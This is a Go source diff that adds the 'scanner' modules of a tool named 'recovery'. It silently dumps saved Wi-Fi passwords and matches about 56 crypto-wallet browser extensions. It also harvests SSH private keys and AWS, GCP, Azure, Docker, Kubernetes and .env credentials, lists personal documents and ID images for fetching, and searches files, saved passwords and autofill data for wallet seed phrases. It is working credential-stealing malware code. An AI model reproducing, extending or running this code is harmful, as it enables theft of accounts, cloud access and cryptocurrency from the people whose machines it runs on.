for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
|
||||
name := strings.TrimSpace(line[idx+2:])
|
||||
if name != "" {
|
||||
profiles = append(profiles, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, name := range profiles {
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
password := ""
|
||||
auth := ""
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
val := strings.TrimSpace(line[idx+2:])
|
||||
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
|
||||
password = val
|
||||
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
|
||||
auth = val
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WiFi",
|
||||
Host: name,
|
||||
Username: auth,
|
||||
Password: password,
|
||||
Protocol: "wifi",
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var knownWalletExtensions = map[string]string{
|
||||
"bhghoamapcdpbohphigoooaddinpkbai": "Authenticator",
|
||||
"fhbohimaelbohpjbbldcngcnapndodjp": "Binance",
|
||||
"fihkakfobkmkjojpchpfgcmhfjnmnfpi": "Bitapp",
|
||||
"aodkkagnadcbobfpggfnjeongemjbjca": "BoltX",
|
||||
"aeachknmefphepccionboohckonoeemg": "Coin98",
|
||||
"hnfanknocfeofbddgcijnmhnfnkdnaad": "Coinbase",
|
||||
"agoakfejjabomempkjlepdflaleeobhb": "Core",
|
||||
"pnlfjmlcjdjgkddecgincndfgegkecke": "Crocobit",
|
||||
"blnieiiffboillknjnepogjhkgnoapac": "Equal",
|
||||
"cgeeodpfagjceefieflmdfphplkenlfk": "Ever",
|
||||
"aholpfdialjgjfhomihkjbmgjidlcdno": "ExodusWeb3",
|
||||
"ebfidpplhabeedpnhjnobghokpiioolj": "Fewcha",
|
||||
"cjmkndjhnagcfbpiemnkdpomccnjblmj": "Finnie",
|
||||
"hpglfhgfnhbgpjdenjgmdgoeiappafln": "Guarda",
|
||||
"nanjmdknhkinifnkgdcggcfnhdaammmj": "Guild",
|
||||
"fnnegphlobjdpkhecapkijjdkgcjhkib": "Harmony",
|
||||
"flpiciilemghbmfalicajoolhkkenfel": "Iconex",
|
||||
"cjelfplplebdjjenllpjcblmjkfcffne": "Jaxx Liberty",
|
||||
"jblndlipeogpafnldhgmapagcccfchpi": "Kaikas",
|
||||
"pdadjkfkgcafgbceimcpbkalnfnepbnk": "KardiaChain",
|
||||
"dmkamcknogkgcdfhhbddcghachkejeap": "Keplr",
|
||||
"kpfopkelmapcoipemfendmdcghnegimn": "Liquality",
|
||||
"nlbmnnijcnlegkjjpcfjclmcfggfefdm": "MEWCX",
|
||||
"dngmlblcodfobpdpecaadgfbcggfjfnm": "MaiarDEFI",
|
||||
"efbglgofoippbgcjepnhiblaibcnclgk": "Martian",
|
||||
"afbcbjpbpfadlkmhmclhkeeodmamcflc": "Math",
|
||||
"nkbihfbeogaeaoehlefnkodbefgpgknn": "Metamask",
|
||||
"ejbalbakoplchlghecdalmeeeajnimhm": "Metamask",
|
||||
"fcckkdbjnoikooededlapcalpionmalo": "Mobox",
|
||||
"lpfcbjknijpeeillifnkikgncikgfhdo": "Nami",
|
||||
"jbdaocneiiinmjbjlgalhcelgbejmnid": "Nifty",
|
||||
"fhilaheimglignddkjgofkcbgekhenbh": "Oxygen",
|
||||
"mgffkfbidihjpoaomajlbgchddlicgpn": "PaliWallet",
|
||||
"ejjladinnckdgjemekebdpeokbikhfci": "Petra",
|
||||
"bfnaelmomeimhlpmgjnjophhpkkoljpa": "Phantom",
|
||||
"phkbamefinggmakgklpkljjmgibohnba": "Pontem",
|
||||
"fnjhmkhhmkbjkkabndcnnogagogbneec": "Ronin",
|
||||
"lgmpcpglpngdoalbgeoldeajfclnhafa": "Safepal",
|
||||
"nkddgncdjgjfcddamfgcmfnlhccnimig": "Saturn",
|
||||
"pocmplpaccanhmnllbbkpgfliimjljgo": "Slope",
|
||||
"bhhhlbepdkbapadjdnnojkbgioiodbic": "Solflare",
|
||||
"fhmfendgdocmcbmfikdcogofphimnkno": "Sollet",
|
||||
"mfhbebgoclkghebffdldpobeajmbecfk": "Starcoin",
|
||||
"cmndjbecilbocjfkibfbifhngkdmjgog": "Swash",
|
||||
"ookjlbkiijinhpmnjffcofjonbfbgaoc": "TempleTezos",
|
||||
"aiifbnbfobpmeekipheeijimdpnlpgpp": "TerraStation",
|
||||
"mfgccjchihfkkindfppnaooecgfneiii": "Tokenpocket",
|
||||
"nphplpgoakhhjchkkhmiggakijnkhfnd": "Ton",
|
||||
"ibnejdfjmmkpcnlpebklmnkoeoihofec": "Tron",
|
||||
"egjidjbpglichdcondbcbdnbeeppgdph": "Trust Wallet",
|
||||
"amkmjjmmflddogmhpjloimipbofnfjih": "Wombat",
|
||||
"hmeobnfnfcmdkdcmlblgagmfpfboieaf": "XDEFI",
|
||||
"eigblbgjknlfbajkfhopmcojidlgcehm": "XMR.PT",
|
||||
"bocpokimicclpaiekenaeelehdjllofo": "XinPay",
|
||||
"ffnbelfdoeiohenkjibnmadjiehjhajb": "Yoroi",
|
||||
"kncchdigobghenbbaddojjnnaogfppfj": "iWallet",
|
||||
}
|
||||
|
||||
func ScanExtensions() []types.ExtensionResult {
|
||||
var results []types.ExtensionResult
|
||||
for _, cfg := range browser.Browsers {
|
||||
if cfg.IsFirefox {
|
||||
continue
|
||||
}
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
for _, profile := range profiles {
|
||||
extDir := filepath.Join(profile.Path, "Extensions")
|
||||
entries, err := os.ReadDir(extDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
extID := e.Name()
|
||||
// Skip internal Chromium marker dirs
|
||||
if strings.HasPrefix(extID, "_") {
|
||||
continue
|
||||
}
|
||||
extIDDir := filepath.Join(extDir, extID)
|
||||
versionDirs, err := os.ReadDir(extIDDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, vd := range versionDirs {
|
||||
if !vd.IsDir() {
|
||||
continue
|
||||
}
|
||||
versionPath := filepath.Join(extIDDir, vd.Name())
|
||||
name, version := readManifestBasics(filepath.Join(versionPath, "manifest.json"))
|
||||
category := ""
|
||||
if walletName, ok := knownWalletExtensions[extID]; ok {
|
||||
category = "wallet"
|
||||
if name == "" {
|
||||
name = walletName
|
||||
}
|
||||
}
|
||||
results = append(results, types.ExtensionResult{
|
||||
ExtID: extID,
|
||||
Name: name,
|
||||
Version: version,
|
||||
Browser: cfg.Name,
|
||||
Profile: profile.Name,
|
||||
Path: versionPath,
|
||||
Category: category,
|
||||
})
|
||||
break // first version directory only
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
type manifestBasics struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
}
|
||||
|
||||
func readManifestBasics(path string) (name, version string) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return "", ""
|
||||
}
|
||||
var m manifestBasics
|
||||
if err := json.Unmarshal(data, &m); err != nil {
|
||||
return "", ""
|
||||
}
|
||||
if strings.HasPrefix(m.Name, "__MSG_") {
|
||||
m.Name = ""
|
||||
}
|
||||
return m.Name, m.Version
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const (
|
||||
maxFiles = 500
|
||||
maxScanDepth = 3
|
||||
maxFileSizeList = 100 * 1024 * 1024 // 100 MB — skip larger files from listing
|
||||
MaxFetchSize = 10 * 1024 * 1024 // 10 MB — max content returned per fetch
|
||||
)
|
||||
|
||||
var targetExtensions = map[string]bool{
|
||||
// Office documents
|
||||
".docx": true, ".doc": true, ".docm": true,
|
||||
".xlsx": true, ".xls": true, ".xlsm": true,
|
||||
".pptx": true, ".ppt": true, ".pptm": true,
|
||||
".odt": true, ".ods": true, ".odp": true,
|
||||
// Plain text / markup
|
||||
".txt": true, ".rtf": true, ".md": true,
|
||||
".csv": true, ".tsv": true,
|
||||
// PDFs
|
||||
".pdf": true,
|
||||
// Archives (metadata only — content not fetched automatically)
|
||||
".zip": true, ".7z": true, ".rar": true, ".tar": true, ".gz": true,
|
||||
// Credential / key files
|
||||
".kdbx": true, ".key": true, ".pem": true,
|
||||
".p12": true, ".pfx": true, ".ppk": true, ".jks": true,
|
||||
// Dotenv — commonly stores API keys and secrets
|
||||
".env": true,
|
||||
// Images — IDs, passports, screenshots of credentials, seed phrases
|
||||
".jpg": true, ".jpeg": true, ".png": true, ".gif": true,
|
||||
".bmp": true, ".webp": true, ".tiff": true, ".tif": true,
|
||||
".heic": true, ".heif": true,
|
||||
}
|
||||
|
||||
// seedPhraseLengths are the BIP39 word counts we consider suspicious.
|
||||
var seedPhraseLengths = map[int]bool{12: true, 20: true, 24: true}
|
||||
|
||||
type scanLocation struct {
|
||||
subPath string
|
||||
label string
|
||||
}
|
||||
|
||||
// ScanFiles walks common user locations and returns matching file metadata.
|
||||
// At most maxFiles results are returned. Files larger than maxFileSizeList are skipped.
|
||||
func ScanFiles() []types.FileResult {
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.FileResult
|
||||
seen := make(map[string]bool)
|
||||
|
||||
for _, loc := range getScanLocations() {
|
||||
dir := filepath.Join(home, loc.subPath)
|
||||
scanDir(dir, loc.label, 0, &results, seen)
|
||||
if len(results) >= maxFiles {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDir(dir, label string, depth int, results *[]types.FileResult, seen map[string]bool) {
|
||||
if depth > maxScanDepth || len(*results) >= maxFiles {
|
||||
return
|
||||
}
|
||||
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if len(*results) >= maxFiles {
|
||||
return
|
||||
}
|
||||
|
||||
name := e.Name()
|
||||
// skip hidden / system files
|
||||
if strings.HasPrefix(name, ".") || strings.HasPrefix(name, "$") {
|
||||
continue
|
||||
}
|
||||
|
||||
fullPath := filepath.Join(dir, name)
|
||||
|
||||
if e.IsDir() {
|
||||
scanDir(fullPath, label, depth+1, results, seen)
|
||||
continue
|
||||
}
|
||||
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
if !targetExtensions[ext] {
|
||||
continue
|
||||
}
|
||||
|
||||
if seen[fullPath] {
|
||||
continue
|
||||
}
|
||||
seen[fullPath] = true
|
||||
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
if info.Size() > maxFileSizeList {
|
||||
continue
|
||||
}
|
||||
|
||||
var tags []string
|
||||
if contentTags := contentFileTags(fullPath, ext, info.Size()); len(contentTags) > 0 {
|
||||
tags = contentTags
|
||||
}
|
||||
|
||||
*results = append(*results, types.FileResult{
|
||||
Path: fullPath,
|
||||
Name: name,
|
||||
Ext: ext,
|
||||
Size: info.Size(),
|
||||
Modified: info.ModTime().Unix(),
|
||||
Dir: label,
|
||||
Tags: tags,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// looksLikeSeedLine returns true if every word is 3–8 lowercase letters.
|
||||
// BIP39 words are exclusively lowercase a–z with lengths in that range.
|
||||
func looksLikeSeedLine(words []string) bool {
|
||||
if !seedPhraseLengths[len(words)] {
|
||||
return false
|
||||
}
|
||||
for _, w := range words {
|
||||
if len(w) < 3 || len(w) > 8 {
|
||||
return false
|
||||
}
|
||||
for _, c := range w {
|
||||
if c < 'a' || c > 'z' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// FetchFile reads a file and returns its raw bytes.
|
||||
// Returns an error if the file exceeds MaxFetchSize or does not exist.
|
||||
func FetchFile(path string) ([]byte, error) {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("file not found")
|
||||
}
|
||||
if info.IsDir() {
|
||||
return nil, fmt.Errorf("path is a directory")
|
||||
}
|
||||
if info.Size() > MaxFetchSize {
|
||||
return nil, fmt.Errorf("file too large (%d bytes, max %d)", info.Size(), MaxFetchSize)
|
||||
}
|
||||
return os.ReadFile(path)
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
func getScanLocations() []scanLocation {
|
||||
return []scanLocation{
|
||||
{"Desktop", "Desktop"},
|
||||
{"Documents", "Documents"},
|
||||
{"Downloads", "Downloads"},
|
||||
{".local/share", ".local/share"},
|
||||
{"Dropbox", "Dropbox"},
|
||||
{"snap", "Snap"},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
func getScanLocations() []scanLocation {
|
||||
return []scanLocation{
|
||||
{"Desktop", "Desktop"},
|
||||
{"Documents", "Documents"},
|
||||
{"Downloads", "Downloads"},
|
||||
{`OneDrive\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive\Documents`, "OneDrive/Documents"},
|
||||
{`OneDrive - Personal\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive - Personal\Documents`, "OneDrive/Documents"},
|
||||
{`OneDrive - Business\Desktop`, "OneDrive/Desktop"},
|
||||
{`OneDrive - Business\Documents`, "OneDrive/Documents"},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,313 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
const maxKeyFileSize = 512 * 1024 // 512KB
|
||||
|
||||
func gcpConfigDir(home string) string {
|
||||
if runtime.GOOS == "windows" {
|
||||
return filepath.Join(home, "AppData", "Roaming", "gcloud")
|
||||
}
|
||||
return filepath.Join(home, ".config", "gcloud")
|
||||
}
|
||||
|
||||
func ScanKeys() []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
results = append(results, scanSSHKeys(home)...)
|
||||
results = append(results, scanAWSCredentials(home)...)
|
||||
results = append(results, scanGCPCredentials(home)...)
|
||||
results = append(results, scanAzureCredentials(home)...)
|
||||
results = append(results, scanDockerCredentials(home)...)
|
||||
results = append(results, scanKubeConfig(home)...)
|
||||
results = append(results, scanEnvFiles(home)...)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanSSHKeys(home string) []types.KeyResult {
|
||||
sshDir := filepath.Join(home, ".ssh")
|
||||
entries, err := os.ReadDir(sshDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var results []types.KeyResult
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
|
||||
continue
|
||||
}
|
||||
|
||||
path := filepath.Join(sshDir, name)
|
||||
info, err := e.Info()
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
|
||||
if isPrivateKey(content) {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "ssh",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
configPath := filepath.Join(sshDir, "config")
|
||||
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
|
||||
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "ssh_config",
|
||||
Name: "config",
|
||||
Path: configPath,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func isPrivateKey(content string) bool {
|
||||
markers := []string{
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
|
||||
"PuTTY-User-Key-File-",
|
||||
}
|
||||
for _, m := range markers {
|
||||
if strings.Contains(content, m) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func scanAWSCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
awsDir := filepath.Join(home, ".aws")
|
||||
|
||||
for _, name := range []string{"credentials", "config"} {
|
||||
path := filepath.Join(awsDir, name)
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "aws",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanGCPCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
gcpDir := gcpConfigDir(home)
|
||||
candidates := []string{
|
||||
filepath.Join(gcpDir, "application_default_credentials.json"),
|
||||
filepath.Join(gcpDir, "credentials.db"),
|
||||
filepath.Join(gcpDir, "properties"),
|
||||
}
|
||||
|
||||
for _, dir := range []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
} {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
|
||||
candidates = append(candidates, filepath.Join(dir, name))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, path := range candidates {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
content := string(data)
|
||||
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "gcp",
|
||||
Name: filepath.Base(path),
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: content,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanAzureCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
azureDir := filepath.Join(home, ".azure")
|
||||
candidates := []string{
|
||||
filepath.Join(azureDir, "accessTokens.json"),
|
||||
filepath.Join(azureDir, "azureProfile.json"),
|
||||
filepath.Join(azureDir, "msal_token_cache.json"),
|
||||
filepath.Join(azureDir, "service_principal_entries.json"),
|
||||
}
|
||||
|
||||
for _, path := range candidates {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "azure",
|
||||
Name: filepath.Base(path),
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDockerCredentials(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
path := filepath.Join(home, ".docker", "config.json")
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
if strings.Contains(string(data), "auths") {
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "docker",
|
||||
Name: "config.json",
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func scanKubeConfig(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
path := filepath.Join(home, ".kube", "config")
|
||||
info, err := os.Stat(path)
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "kubernetes",
|
||||
Name: "config",
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
return results
|
||||
}
|
||||
|
||||
func scanEnvFiles(home string) []types.KeyResult {
|
||||
var results []types.KeyResult
|
||||
|
||||
searchDirs := []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
|
||||
for _, dir := range searchDirs {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if name != ".env" && !strings.HasPrefix(name, ".env.") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(dir, name)
|
||||
info, err := e.Info()
|
||||
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.KeyResult{
|
||||
Type: "env",
|
||||
Name: name,
|
||||
Path: path,
|
||||
Size: info.Size(),
|
||||
Content: string(data),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package scanner
|
||||
|
||||
import "log"
|
||||
|
||||
func logf(format string, args ...interface{}) {
|
||||
log.Printf("[scanner] "+format, args...)
|
||||
}
|
||||
@@ -0,0 +1,274 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
// BIP39-valid word counts
|
||||
var validSeedLengths = map[int]bool{
|
||||
12: true, 15: true, 18: true, 21: true, 24: true,
|
||||
}
|
||||
|
||||
const seedScanMaxFileSize = 1 * 1024 * 1024 // 1MB
|
||||
|
||||
var seedScanFileExts = map[string]bool{
|
||||
".txt": true, ".md": true, ".csv": true, ".tsv": true,
|
||||
".log": true, ".rtf": true, ".json": true, ".xml": true,
|
||||
".env": true, ".cfg": true, ".conf": true, ".ini": true,
|
||||
".bak": true, ".old": true, ".tmp": true, ".note": true,
|
||||
".doc": true, ".nfo": true, ".asc": true, ".key": true,
|
||||
".pem": true, ".p12": true, ".ppk": true, ".der": true, ".pfx": true,
|
||||
}
|
||||
|
||||
// contentScanExts are the text formats read during the file listing scan to
|
||||
// look for sensitive plaintext (BIP39 seed phrases, PEM private keys).
|
||||
var contentScanExts = seedScanFileExts
|
||||
|
||||
// privateKeyRe matches PEM private-key header lines. The optional algorithm
|
||||
// prefix covers RSA/EC/OPENSSH/DSA/ENCRYPTED keys plus the bare PKCS#8 form.
|
||||
var privateKeyRe = regexp.MustCompile(`(?m)^-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED )?PRIVATE KEY-----`)
|
||||
|
||||
// contentFileTags reads a small text file once and returns the security tags
|
||||
// that apply to it: "seed" when it contains a BIP39 phrase and "key" when it
|
||||
// contains a PEM private-key header. Returns nil when the file is not a
|
||||
// recognized text format or is too large to scan.
|
||||
func contentFileTags(path, ext string, size int64) []string {
|
||||
if !contentScanExts[ext] || size == 0 || size > seedScanMaxFileSize {
|
||||
return nil
|
||||
}
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var tags []string
|
||||
content := strings.ToLower(string(data))
|
||||
if looksLikeSeedLine(strings.Fields(content)) {
|
||||
tags = append(tags, "seed")
|
||||
} else {
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
if looksLikeSeedLine(strings.Fields(strings.TrimSpace(line))) {
|
||||
tags = append(tags, "seed")
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
// PEM headers are case-sensitive, so match against the raw bytes.
|
||||
if privateKeyRe.Match(data) {
|
||||
tags = append(tags, "key")
|
||||
}
|
||||
return tags
|
||||
}
|
||||
|
||||
// numberedLineRe strips leading "1." / "1)" / "1:" / "1 -" prefixes from numbered lists
|
||||
var numberedLineRe = regexp.MustCompile(`^\s*\d{1,2}\s*[.):\-]\s*`)
|
||||
|
||||
// ScanSeeds searches collected data for BIP39 seed phrases.
|
||||
// Checks file contents, password values, and autofill values.
|
||||
func ScanSeeds(files []types.FileResult, passwords []types.PasswordResult, autofill []types.AutofillResult) []types.SeedResult {
|
||||
seen := make(map[string]bool)
|
||||
var results []types.SeedResult
|
||||
|
||||
// Scan files
|
||||
for _, f := range files {
|
||||
if f.Size > seedScanMaxFileSize || f.Size == 0 {
|
||||
continue
|
||||
}
|
||||
if !seedScanFileExts[f.Ext] {
|
||||
continue
|
||||
}
|
||||
data, err := os.ReadFile(f.Path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, phrase := range extractSeedPhrases(string(data)) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "file",
|
||||
Path: f.Path,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan passwords
|
||||
for _, p := range passwords {
|
||||
for _, phrase := range extractSeedPhrases(p.Password) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "password",
|
||||
Path: p.URL,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
for _, phrase := range extractSeedPhrases(p.Username) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "password",
|
||||
Path: p.URL,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Scan autofill values
|
||||
for _, a := range autofill {
|
||||
for _, phrase := range extractSeedPhrases(a.Value) {
|
||||
if !seen[phrase] {
|
||||
seen[phrase] = true
|
||||
results = append(results, types.SeedResult{
|
||||
Source: "autofill",
|
||||
Path: a.Name,
|
||||
Phrase: phrase,
|
||||
Words: len(strings.Fields(phrase)),
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// extractSeedPhrases finds all BIP39-like seed phrases in text content.
|
||||
// Handles: space-separated, comma-separated, numbered lists, newline-separated.
|
||||
func extractSeedPhrases(content string) []string {
|
||||
if len(content) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
content = strings.ToLower(content)
|
||||
var found []string
|
||||
|
||||
// Strategy 1: full content as one phrase (file contains only the seed)
|
||||
if phrase := tryExtractPhrase(content); phrase != "" {
|
||||
found = append(found, phrase)
|
||||
return found
|
||||
}
|
||||
|
||||
// Strategy 2: line-by-line (seed on one line)
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
if phrase := tryExtractPhrase(line); phrase != "" {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 3: numbered list — collect words from "1. word\n2. word\n..."
|
||||
